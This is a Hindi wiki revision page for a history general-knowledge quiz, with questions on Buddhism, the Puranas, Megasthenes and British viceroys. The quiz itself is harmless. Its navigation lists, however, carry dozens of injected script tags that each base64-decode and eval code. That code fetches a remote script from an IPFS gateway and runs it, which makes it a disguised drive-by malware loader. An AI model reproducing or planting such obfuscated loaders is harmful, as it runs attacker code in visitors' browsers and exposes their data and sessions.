Difference between revisions of "इतिहास सामान्य ज्ञान 5"

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{[[बौद्ध धर्म]] के 'त्रिरत्न' के बारे में क्या असत्य है?
 
|type="()"}
 
+[[स्तूप]]
 
-धम्म
 
-संघ
 
-[[बुद्ध]]
 
||[[चित्र:Sanchi-Stupa-Sanchi.jpg|right|100px|सांची स्तूप, सांची]][[स्तूप]] एक गुम्दाकार भवन होता था, जो [[बुद्ध]] से संबंधित सामग्री या स्मारक के रूप में स्थापित किया जाता था। सम्राट [[अशोक]] ने भी कई स्तंम्भ बनवाये थे। [[साँची]] का पता सन 1818 ई. में 'जनरल टायलर' ने लगाया था। विश्वप्रसिद्ध [[बौद्ध]] स्तूपों के लिए जाना जाने वाला साँची, [[विदिशा]] से 4 मील की दूरी पर 300 फीट ऊँची पहाड़ी पर स्थित है। प्रज्ञातिष्य महानायक थैर्यन के अनुसार-यहाँ के बड़े स्तूप में स्वयं भगवान बुद्ध के तथा छोटे स्तूपों में भगवान बुद्ध के प्रिय शिष्य 'सारिपुत' (सारिपुत्र) तथा 'महामौद्गलायन' समेत कई अन्य बौद्ध भिक्षुओं के अवशेष रखे हैं।{{point}}अधिक जानकारी के लिए देखें:-[[स्तूप]]
 
 
{'[[श्रीमद्भागवत]]' की रचना किसने की थी?
 
|type="()"}
 
-[[कृष्ण]]
 
-महर्षि [[विश्वामित्र]]
 
+महर्षि [[वेदव्यास]]
 
-[[संकर्षण]]
 
||[[Image:Gita-1.jpg|right|120px|श्रीकृष्ण और अर्जुन]][[वेदव्यास]] भगवान [[नारायण]] के ही कलावतार थे। इनका पूरा नाम 'कृष्ण द्वैपायन वेदव्यास' था। व्यासजी के [[पिता]] का नाम [[पराशर]] तथा [[माता]] का नाम [[सत्यवती]] था। [[वेदान्त|वेदान्तदर्शन]] की शक्ति के साथ अनादि [[पुराण]] को लुप्त होते देखकर भगवान कृष्ण द्वैपायन ने अठारह पुराणों का प्रणयन किया। इनके द्वारा प्रणीत [[महाभारत]] को पंचम [[वेद]] कहा जाता है। [[श्रीमद्भागवत]] के रूप में [[भक्ति]] का सार-सर्वस्व इन्होंने मानव मात्र को सुलभ कराया और [[ब्रह्मसूत्र]] के रूप में तत्त्वज्ञान का अनुपम ग्रन्थरत्न प्रदान किया।{{point}}अधिक जानकारी के लिए देखें:-[[वेदव्यास]]
 
 
 
{"हिन्दुस्तान तलवार के ज़ोर पर जीता गया था।" यह कथन किसका है?
 
{"हिन्दुस्तान तलवार के ज़ोर पर जीता गया था।" यह कथन किसका है?
 
|type="()"}
 
|type="()"}
 
-[[लॉर्ड ऑकलैण्ड]]
 
-[[लॉर्ड ऑकलैण्ड]]
+[[लॉर्ड एल्गिन]]
+
+[[लॉर्ड एलगिन द्वितीय]]
 
-[[लॉर्ड कर्ज़न]]
 
-[[लॉर्ड कर्ज़न]]
 
-[[लॉर्ड डलहौज़ी]]
 
-[[लॉर्ड डलहौज़ी]]
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||[[लॉर्ड लैन्सडाउन]] के बाद [[जनवरी]], [[1894]] ई. में [[लॉर्ड एलगिन द्वितीय]] [[भारत]] का [[वाइसराय]] बना था। लॉर्ड एलगिन द्वितीय ने भारत पर ब्रिटिश शासन के विषय में कहा था कि "भारत को तलवार के बल पर विजित किया गया है, और तलवार के बल पर ही इसकी रक्षा की जायेगी"। इसके शासन काल में [[1895]] ई. से [[1898]] ई. तक [[मध्य प्रदेश]], [[उत्तर प्रदेश]], [[बिहार]] तथा [[पंजाब]] में भयंकर [[अकाल]] पड़ा। एलगिन द्वितीय ने सर जेम्स लायल की अध्यक्षता में एक 'अकाल आयोग' की नियुक्त की थी। - अधिक जानकारी के लिए देखें:-[[लॉर्ड एलगिन द्वितीय]]
  
{[[विष्णु]] के दस [[अवतार|अवतारों]] की जानकारी का स्रोत निम्न में से किसमें है?
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{[[विष्णु]] के दस [[अवतार|अवतारों]] की जानकारी का स्रोत निम्न में से किस [[पुराण]] में है?
 
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-[[भागवत पुराण]]
 
-[[भागवत पुराण]]
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-[[विष्णु पुराण]]
 
-[[विष्णु पुराण]]
 
-[[मार्कण्डेय पुराण]]
 
-[[मार्कण्डेय पुराण]]
||[[चित्र:Cover-Matsya-Purana.jpg|right|100px|मत्स्यपुराण का आवरण पृष्ठ]][[वैष्णव सम्प्रदाय]] से सम्बन्धित '[[मत्स्यपुराण]]' [[व्रत]], पर्व, [[तीर्थ]], दान, राजधर्म और [[वास्तु कला]] की दृष्टि से एक अत्यन्त महत्त्वपूर्ण [[पुराण]] है। [[हिन्दू धर्म]] में इस पुराण का धार्मिक दृष्टि से बहुत ही महत्त्वपूर्ण स्थान है। इस पुराण की [[श्लोक]] संख्या चौदह हज़ार है। इसे दो सौ इक्यानवे अध्यायों में विभाजित किया गया है। इस पुराण के प्रथम अध्याय में '[[मत्स्यावतार]]' की कथा है। उसी कथा के आधार पर इसका यह नाम पड़ा है।{{point}}अधिक जानकारी के लिए देखें:-[[मत्स्य पुराण]]
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||[[चित्र:Cover-Matsya-Purana.jpg|right|100px|मत्स्यपुराण का आवरण पृष्ठ]][[वैष्णव सम्प्रदाय]] से सम्बन्धित '[[मत्स्यपुराण]]' [[व्रत]], पर्व, [[तीर्थ]], दान, राजधर्म और [[वास्तु कला]] की दृष्टि से एक अत्यन्त महत्त्वपूर्ण [[पुराण]] है। [[हिन्दू धर्म]] में इस पुराण का धार्मिक दृष्टि से बहुत ही महत्त्वपूर्ण स्थान है। इस पुराण की [[श्लोक]] संख्या चौदह हज़ार है। इसे दो सौ इक्यानवे (291) अध्यायों में विभाजित किया गया है। इस पुराण के प्रथम अध्याय में '[[मत्स्यावतार]]' की कथा है। उसी कथा के आधार पर इसका यह नाम पड़ा है। इस पुराण का सबसे महत्त्वपूर्ण आख्यान '[[सावित्री सत्यवान|सावित्री-सत्यवान]]' की कथा है। पतिव्रता स्त्रियों में सावित्री की गणना सर्वोपरि की जाती है। - अधिक जानकारी के लिए देखें:-[[मत्स्य पुराण]]
  
 
{किस [[विदेशी यात्री]] ने [[कृष्ण]] को 'हेराक्लीज' कहा?
 
{किस [[विदेशी यात्री]] ने [[कृष्ण]] को 'हेराक्लीज' कहा?
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-[[फ़ाह्यान]]
 
-[[फ़ाह्यान]]
 
-[[ह्वेनसांग]]
 
-[[ह्वेनसांग]]
+[[मेगस्थनीज]]
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+[[मेगस्थनीज़]]
-हेलिओडोरस
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-[[हेलिओक्लीज़]]
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||[[चित्र:Gita-Krishna-1.jpg|right|80px|कृष्ण तथा अर्जुन]] 'मैगस्थनीज़' के अनुसार [[मौर्य काल]] में [[बहुभार्यता विवाह|बहुविवाह]] की प्रथा का प्रचलन था। शिक्षा व्यवस्था [[ब्राह्मण]] करते थे। [[दास प्रथा]] का प्रचलन नहीं था। [[मैगस्थनीज़]] ने भारतीय लोगों की ईमानदारी की प्रशंसा करते हुए कहा कि- "चोरी प्रायः नहीं होती थी"। उसने [[भारत]] के वासियों की धार्मिक भावना पर प्रकाश डालते हुए बताया है कि- "यहाँ के लोग 'डायोनियस' ([[शिव]]) एवं 'हेराक्लीज' ([[कृष्ण]]) की उपासना करते थे"। उसने अपनी यात्रा के विवरण में [[पाटलिपुत्र]] का विस्तृत वर्णन प्रस्तुत किया है। उसने पाटलिपुत्र को 'पालिब्रोथा' नाम से सम्बोधित किया है। अपने वर्णन में उसने पाटलिपुत्र को [[सोन नदी]] एवं [[गंगा नदी]] के संगम पर स्थित तत्कालीन भारत का सबसे बड़ा नगर बताया है। - अधिक जानकारी के लिए देखें:-[[मेगस्थनीज़]]
  
{किस [[उपनिषद]] को [[बुद्ध]] से भी प्राचीन माना जाता है?
+
{"[[आगरा]] तथा [[फ़तेहपुर सीकरी]] दोनों ही [[लन्दन]] से बड़े हैं"। यह कथन किसका है?
|type="()"}
 
+[[कठोपनिषद]]
 
-[[छान्दोग्य उपनिषद]]
 
-[[बृहदारण्यकोपनिषद]]
 
-[[मुण्डकोपनिषद]]
 
||[[चित्र:Buddha1.jpg|right|120px|अभय मुद्रा में बुद्ध]]कठोपनिषद कृष्ण-यजुर्वेद शाखा का एक अत्यन्त महत्त्वपूर्ण [[उपनिषद]] है। इस उपनिषद के रचयिता 'कठ' नाम के तपस्वी आचार्य थे। वे मुनि वैशम्पायन के शिष्य तथा [[यजुर्वेद]] की 'कठशाखा' के प्रवर्तक थे। इस उपनिषद में दो अध्याय हैं, और प्रत्येक अध्याय में तीन-तीन वल्लियाँ हैं, जिनमें वाजश्रवा-पुत्र [[नचिकेता]] और [[यम]] के बीच संवाद हैं।{{point}}अधिक जानकारी के लिए देखें:-[[कठोपनिषद]]
 
 
{[[बुद्ध|महात्मा बुद्ध]] की मृत्यु के बाद उनके शरीर के अवशेषों पर कितने [[स्तूप|स्तूपों]] का निर्माण किया गया?
 
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{‘[[आगरा]] तथा [[फ़तेहपुर सीकरी]] दोनों ही [[लन्दन]] से बड़े हैं’, यह कथन किसका है?
 
 
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-[[बर्नियर]]
 
-[[बर्नियर]]
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-[[विलियम हॉकिंस|हॉकिन्स]]
 
-[[विलियम हॉकिंस|हॉकिन्स]]
 
-[[थॉमस रो]]
 
-[[थॉमस रो]]
||[[विदेशी यात्री]] रॉल्फ़ फ़्रिंच के यात्रा विवरणों के आधार पर ही [[अंग्रेज़]] [[ईस्ट इण्डिया कम्पनी]] ने [[भारत]] में अपने व्यापार की योजना बनाई थी। [[रॉल्फ़ फ़्रिंच]] ने भारतीयों तथा उनके रीति-रिवाजों के बारे में विस्तार से लिखा है। अपने एक कथन में उसने [[आगरा]] एवं [[फ़तेहपुर सीकरी]] को [[लन्दन]] से भी बड़ा बताया। रॉल्फ़ फ़्रिंच ने भारत में व्याप्त [[बाल विवाह]] तथा [[सती प्रथा]] का भी उल्लेख किया है।{{point}}अधिक जानकारी के लिए देखें:-[[रॉल्फ़ फ़्रिंच]]
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||[[विदेशी यात्री]] रॉल्फ़ फ़्रिंच के यात्रा विवरणों के आधार पर ही [[अंग्रेज़]] [[ईस्ट इण्डिया कम्पनी]] ने [[भारत]] में अपने व्यापार की योजना बनाई थी। [[रॉल्फ़ फ़्रिंच]] ने भारतीयों तथा उनके रीति-रिवाजों के बारे में विस्तार से लिखा है। अपने एक कथन में उसने [[आगरा]] एवं [[फ़तेहपुर सीकरी]] को [[लन्दन]] से भी बड़ा बताया है। रॉल्फ़ फ़्रिंच ने भारत में व्याप्त '[[बाल विवाह]]' तथा '[[सती प्रथा]]' का भी उल्लेख किया है। - अधिक जानकारी के लिए देखें:-[[रॉल्फ़ फ़्रिंच]], [[विदेशी यात्री]]
 
 
{सर्वप्रथम किस [[उपनिषद]] में [[देवकी]] पुत्र एवं [[अंगिरा]] के शिष्य के रूप में [[कृष्ण]] का उल्लेख मिलता है?
 
|type="()"}
 
-[[बृहदारण्यकोपनिषद]]
 
-[[कठोपनिषद]]
 
+[[छांदोग्य उपनिषद]]
 
-[[तैत्तिरीयोपनिषद]]
 
||[[सामवेद]] की तलवकार शाखा में इस [[उपनिषद]] को मान्यता प्राप्त है। इसमें दस अध्याय हैं। इसके अन्तिम आठ अध्याय ही इस उपनिषद में लिये गये हैं। यह उपनिषद पर्याप्त बड़ा है। [[अंगिरस]] [[ऋषि]] ने [[देवकी]] के पुत्र [[श्रीकृष्ण]] को तत्त्वदर्शन का उपदेश दिया थां, उससे वे सभी तरह की पिपासाओं से मुक्त हो गये थे। साधक को मृत्युकाल में तीन [[मन्त्र|मन्त्रों]] का स्मरण करना चाहिए।{{point}}अधिक जानकारी के लिए देखें:-[[छांदोग्य उपनिषद]]
 
  
 
{[[बौद्ध धर्म]] की किस शाखा में [[मंत्र]], हठयोग एवं तान्त्रिक आचारों को प्रधानता दी गई है?
 
{[[बौद्ध धर्म]] की किस शाखा में [[मंत्र]], हठयोग एवं तान्त्रिक आचारों को प्रधानता दी गई है?
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+[[वज्रयान]]
 
+[[वज्रयान]]
 
-उपर्युक्त सभी
 
-उपर्युक्त सभी
||[[चित्र:Buddhism-Symbol.jpg|right|120px|बौद्ध धर्म का प्रतीक]]'वज्रयान' एक [[संस्कृत]] शब्द है, जिसका अर्थ [[हीरा]] या तड़ित का वाहन है, जो तांत्रिक [[बौद्ध धर्म]] भी कहलाता है। [[भारत]] व पड़ोसी देशों में, विशेषकर [[तिब्बत]] में बौद्ध धर्म का महत्त्वपूर्ण विकास समझा जाता है। बौद्ध धर्म के इतिहास में [[वज्रयान]] का उल्लेख [[महायान]] के आनुमानिक चिंतन से व्यक्तिगत जीवन में [[बौद्ध]] विचारों के पालन तक की यात्रा के लिये किया गया है। ‘वज्र’ शब्द का प्रयोग मनुष्य द्वारा स्वयं अपने व अपनी प्रकृति के बारे में की गई कल्पनाओं के विपरीत मनुष्य में निहित वास्तविक एवं अविनाशी स्वरूप के लिये किया जाता है।{{point}}अधिक जानकारी के लिए देखें:-[[वज्रयान]]
+
||[[चित्र:Buddhism-Symbol.jpg|right|80px|बौद्ध धर्म का प्रतीक]] 'वज्रयान' एक [[संस्कृत]] शब्द है, जिसका अर्थ [[हीरा]] या तड़ित का वाहन है, जो तांत्रिक [[बौद्ध धर्म]] भी कहलाता है। [[भारत]] व उसके पड़ोसी देशों में, विशेषकर [[तिब्बत]] में [[बौद्ध धर्म]] का महत्त्वपूर्ण विकास समझा जाता है। बौद्ध धर्म के इतिहास में [[वज्रयान]] का उल्लेख [[महायान]] के आनुमानिक चिंतन से व्यक्तिगत जीवन में [[बौद्ध]] विचारों के पालन तक की यात्रा के लिये किया गया है। 'वज्र' शब्द का प्रयोग मनुष्य द्वारा स्वयं अपने व अपनी प्रकृति के बारे में की गई कल्पनाओं के विपरीत मनुष्य में निहित वास्तविक एवं अविनाशी स्वरूप के लिये किया जाता है। - अधिक जानकारी के लिए देखें:-[[वज्रयान]]
 
{[[बुद्ध]] के वर्षाकालीन निवास के लिए 'बेलुवन' एवं 'जेतवन' का निर्माण क्रमश: किन लोगों ने करवाया था?
 
|type="()"}
 
-[[बिम्बिसार]] एवं [[अशोक]] ने
 
-[[अजातशत्रु]] एवं [[बिम्बिसार]] ने
 
+[[बिम्बिसार]] एवं जेत कुमार ने
 
-[[अशोक]] एवं जेत कुमार ने
 
 
 
{[[चन्द्रगुप्त द्वितीय]] ने कब ‘विक्रमादित्य’ की उपाधि धारण की थी?
 
|type="()"}
 
+[[शक|शकों]] का उन्मूलन करने के बाद।
 
-[[गुप्त]] सिंहासन पर बैठने के बाद।
 
-[[चाँदी]] के सिक्के जारी करने के बाद।
 
-इनमें से कोई नहीं
 
||[[चित्र:Chandragupta-Coins.JPG|right|120px|चन्द्रगुप्त विक्रमादित्य की मुद्राएँ]][[चन्द्रगुप्त द्वितीय]] अथवा 'चन्द्रगुप्त विक्रमादित्य' (शासन: 380-412 ईसवी) [[गुप्त राजवंश]] का सबसे प्रतापी राजा था। [[समुद्रगुप्त]] का यह पुत्र 'चन्द्रगुप्त द्वितीय' समस्त गुप्त राजाओं में सर्वाधिक शौर्य एवं वीरोचित गुणों से सम्पन्न था। [[शक|शकों]] पर विजय प्राप्त करने के उपरांत उसने 'विक्रमादित्य' की उपाधि धारण की थी। इसे 'शकारि' कहकर भी पुकारा गया। [[मालवा]], [[काठियावाड़]], [[गुजरात]] और [[उज्जयिनी]] को अपने साम्राज्य में मिलाकर उसने अपने [[पिता]] के राज्य का और भी विस्तार किया।{{point}}अधिक जानकारी के लिए देखें:-[[चन्द्रगुप्त द्वितीय]]
 
 
 
{[[बुद्ध]] के प्रारम्भिक अनुयायियों में सर्वाधिक संख्या किसकी थी?
 
|type="()"}
 
-[[क्षत्रिय|क्षत्रियों]] की
 
+[[ब्राह्मण|ब्राह्मणों]] की
 
-[[वैश्य|वैश्यों]] की
 
-[[शूद्र|शूद्रों]] की
 
||[[चित्र:Buddha-Statue-Bodhgaya-Bihar.jpg|right|120px|बुद्ध प्रतिमा, बोधगया]][[बुद्धचरित]] 21, 27 में [[बुद्ध]] का [[वैरंजा]] नामक नगर में पहुँचकर 'विरिंच' नामक व्यक्ति को [[धर्म]] की दीक्षा देने का उल्लेख है। यहाँ के [[ब्राह्मण|ब्राह्मणों]] का [[बौद्ध साहित्य]] में उल्लेख आता है। [[गौतम बुद्ध]] यहाँ पर ठहरे थे और उन्होंने इस नगर के निवासियों के समक्ष प्रवचन भी किया था। भगवान गौतम बुद्ध के असंख्य अनुयायी बन चुके थे, लेकिन इन अनुयायियों में [[ब्राह्मण|ब्राह्मणों]] की एक बहुत बड़ी संख्या थी। बुद्ध के प्रवचनों तथा उनकी शिक्षाओं का ब्राह्मणों पर बहुत गहरा प्रभाव पड़ा था।{{point}}अधिक जानकारी के लिए देखें:-[[गौतम बुद्ध]]
 
 
{[[बौद्ध धर्म]] ग्रहण करने वाली महिला कौन थी?
 
|type="()"}
 
-महामाया
 
-यशोधरा
 
-बिम्बा
 
+गौतमी
 
 
{[[बुद्ध]] के अष्टांगिक मार्ग के बारे में प्रथम जानकारी कहाँ से मिलती है?
 
|type="()"}
 
+[[छांदोग्य उपनिषद]]
 
-[[तैत्तिरीयोपनिषद]]
 
-केनन उपनिषद
 
-[[कठोपनिषद]]
 
||[[सामवेद]] की 'तलवकार' शाखा में [[छांदोग्य उपनिषद]] को मान्यता प्राप्त है। इसमें दस अध्याय हैं। इसके अन्तिम आठ अध्याय ही इस [[उपनिषद]] में लिये गये हैं। यह उपनिषद पर्याप्त बड़ा है। नाम के अनुसार इस उपनिषद का आधार '[[छन्द]]' है, इसका यहाँ व्यापक अर्थ के रूप में प्रयोग किया गया है। इसे यहाँ 'आच्छादित करने वाला' माना गया है। साहित्यिक [[कवि]] की भांति [[ऋषि]] भी मूल सत्य को विविध माध्यमों से अभिव्यक्त करता है। वह प्रकृति के मध्य उस परमसत्ता के दर्शन करता है।{{point}}अधिक जानकारी के लिए देखें:-[[छांदोग्य उपनिषद]]
 
 
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</quiz>
 
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{{इतिहास सामान्य ज्ञान}}
 
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{{सामान्य ज्ञान प्रश्नोत्तरी}}
 
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{{प्रचार}}
 
 
[[Category:सामान्य ज्ञान]]
 
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{{Review-G}}

Latest revision as of 13:22, 15 February 2023

samany jnan prashnottari
hindi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhoogol   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> krishi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vijnan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jiv vijnan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> arthashastr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> samajashastr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shiksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajavyavastha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kampyootar   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kala   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajaniti   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chitr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mahabharat   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ramayan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sharirik shiksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> nagarik shastr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> khel   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mishrit   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tarkik  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> fॅsabuk paheli
rajyoan ke samany jnan
uttar pradesh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chhattisagadh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jharakhand   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajasthan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bihar   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> madhy pradesh


  1. REDIRECTsaancha:nilais vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band itihas praangan, itihas kosh, aitihasik sthan kosh

panne par jaean
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1 "hindustan talavar ke zor par jita gaya tha." yah kathan kisaka hai?

l aaurd aaukalaind
l aaurd elagin dvitiy
l aaurd karzan
l aaurd dalahauzi

2 vishnu ke das avataroan ki janakari ka srot nimn mean se kis puran mean hai?

bhagavat puran
matsy puran
vishnu puran
markandey puran

4 "agara tatha fatehapur sikari donoan hi landan se b de haian". yah kathan kisaka hai?

barniyar
r aaulf frianch
h aaukins
th aaumas ro

5 bauddh dharm ki kis shakha mean mantr, hathayog evan tantrik acharoan ko pradhanata di gee hai?

mahayan
hinayan
vajrayan
uparyukt sabhi

panne par jaean
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samany jnan prashnottari
hindi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhoogol   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> krishi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas   